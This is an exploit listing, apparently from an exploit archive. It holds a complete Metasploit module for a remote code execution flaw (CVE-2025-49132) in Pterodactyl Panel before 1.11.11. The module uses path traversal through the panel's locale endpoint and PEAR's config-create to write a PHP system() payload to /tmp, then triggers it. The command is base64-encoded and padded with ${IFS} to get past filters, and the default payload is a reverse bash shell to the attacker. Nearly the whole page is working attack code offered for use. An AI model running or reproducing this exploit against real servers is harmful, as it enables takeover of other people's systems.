Share
## https://sploitus.com/exploit?id=PACKETSTORM:215741
=============================================================================================================================================
    | # Title     : Pterodactyl Panel < 1.11.11 Remote Code Execution Vulnerability                                                             |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits)                                                            |
    | # Vendor    : https://pterodactyl.io/                                                                                                     |
    =============================================================================================================================================
    
    [+] Summary    : A Remote Code Execution (RCE) vulnerability exists in versions of Pterodactyl Panel prior to 1.11.11.
                     The issue allows an attacker to abuse the locale functionality to write a malicious PHP file to the server and subsequently execute arbitrary system commands. 
    				 Successful exploitation may lead to remote shell access under the privileges of the web server user.
    
    [+] POC : 
    
    set RHOSTS target.com
    set RPORT 80
    set TARGETURI /
    set LHOST your_ip
    set LPORT your_port
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'base64'
    require 'json'
    require 'rubygems' 
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Pterodactyl Panel < 1.11.11 Remote Code Execution',
            'Description' => %q{
              This module exploits a Remote Code Execution vulnerability in Pterodactyl Panel
              versions before 1.11.11. The vulnerability allows an attacker to write a malicious
              PHP file via the locale functionality and then execute it to gain a reverse shell.
            },
            'Author' => [
              'pwndalf', 
              'indoushka' 
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2025-49132'],
              ['URL', 'https://github.com/pwndalf/CVE-2025-49132-PoC']
            ],
            'Platform' => ['unix', 'linux'],
            'Arch' => [ARCH_CMD],
            'Targets' => [
              [
                'Unix Command',
                {
                  'Platform' => 'unix',
                  'Arch' => ARCH_CMD,
                  'Type' => :unix_cmd,
                  'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
                }
              ]
            ],
            'Privileged' => false,
            'DisclosureDate' => '2025-10-15',
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'The base path to the Pterodactyl Panel', '/']),
            OptString.new('PEAR_PATH', [true, 'Path to the PHP PEAR library', '/usr/share/php/PEAR/']),
            OptString.new('TMP_FILE', [true, 'Temporary file name for payload', 'payload.php'])
          ]
        )
      end
    
      def check
    
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'version')
        })
    
        unless res
          return CheckCode::Unknown('Connection failed')
        end
    
        if res.code == 200 && res.body
          version = extract_version(res.body)
          
          if version
            vprint_status("Detected Pterodactyl version: #{version}")
    
            begin
              current_version = Gem::Version.new(version)
              vulnerable_version = Gem::Version.new('1.11.11')
              
              if current_version < vulnerable_version
                return CheckCode::Appears("Vulnerable version detected: #{version}")
              else
                return CheckCode::Safe("Patched version detected: #{version}")
              end
            rescue ArgumentError => e
              vprint_error("Invalid version format: #{e.message}")
              return CheckCode::Unknown('Invalid version format')
            end
          end
        end
    
        locale_res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'locales', 'locale.json')
        })
    
        if locale_res && locale_res.code == 200
          return CheckCode::Detected('Pterodactyl panel detected, but version could not be confirmed')
        end
    
        CheckCode::Safe('Target does not appear to be running Pterodactyl panel')
      rescue ::Rex::ConnectionError
        CheckCode::Unknown('Connection failed')
      end
    
      def extract_version(body)
    
        json_data = JSON.parse(body) rescue nil
        if json_data.is_a?(Hash) && json_data['version']
          return json_data['version']
        end
    
        if body =~ /<meta[^>]*name="version"[^>]*content="([^"]+)"[^>]*>/i
          return $1
        end
    
        if body =~ /Pterodactyl[^<]*v?(\d+\.\d+\.\d+)/i
          return $1
        end
    
        nil
      end
    
      def execute_command(cmd)
        encoded_cmd = Base64.strict_encode64(cmd)
        payload_cmd = "echo${IFS}#{encoded_cmd}${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash"
        write_uri = normalize_uri(target_uri.path, 'locales', 'locale.json')
        php_payload = "<?=system('#{payload_cmd}')?>"
        
        print_status("Attempting to write payload to #{datastore['TMP_FILE']}")
        write_res = send_request_cgi({
          'method' => 'GET',
          'uri' => write_uri,
          'vars_get' => {
            '+config-create+' => '',
            'locale' => "../../../../..#{datastore['PEAR_PATH']}",
            'namespace' => 'pearcmd',
            '/' => php_payload + " /tmp/#{datastore['TMP_FILE']}"
          }
        }, 10) 
        
        unless write_res && write_res.code == 200
          fail_with(Failure::NotVulnerable, 'Failed to write payload')
        end
        
        print_good("Payload written successfully")
    
        trigger_uri = normalize_uri(target_uri.path, 'locales', 'locale.json')
        
        print_status("Triggering payload...")
        begin
          send_request_cgi({
            'method' => 'GET',
            'uri' => trigger_uri,
            'vars_get' => {
              'locale' => '../../../../../../tmp',
              'namespace' => 'payload'
            }
          }, 5) 
        rescue ::Rex::ConnectionError, ::Rex::ConnectionTimeout
    
          vprint_status('Trigger request completed (expected timeout/error)')
        end
        
        print_status('Payload triggered. Check your listener for incoming connection.')
        
      rescue ::Rex::ConnectionError => e
        fail_with(Failure::Unreachable, e.message)
      end
    
      def exploit
    
        if payload.nil? || !payload.respond_to?(:encoded) || payload.encoded.to_s.empty?
          fail_with(Failure::BadConfig, 'No valid payload selected or payload is empty')
        end
        unless target['Type'] == :unix_cmd && Array(target.arch).include?(ARCH_CMD)
          fail_with(Failure::BadConfig, 'Target is not compatible with command payload')
        end
        
        print_status("Exploiting #{datastore['RHOSTS']}:#{datastore['RPORT']}")
        command = payload.encoded
        execute_command(command)
         handler
      end
    end
    	
    Greetings to :======================================================================
    jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
    ====================================================================================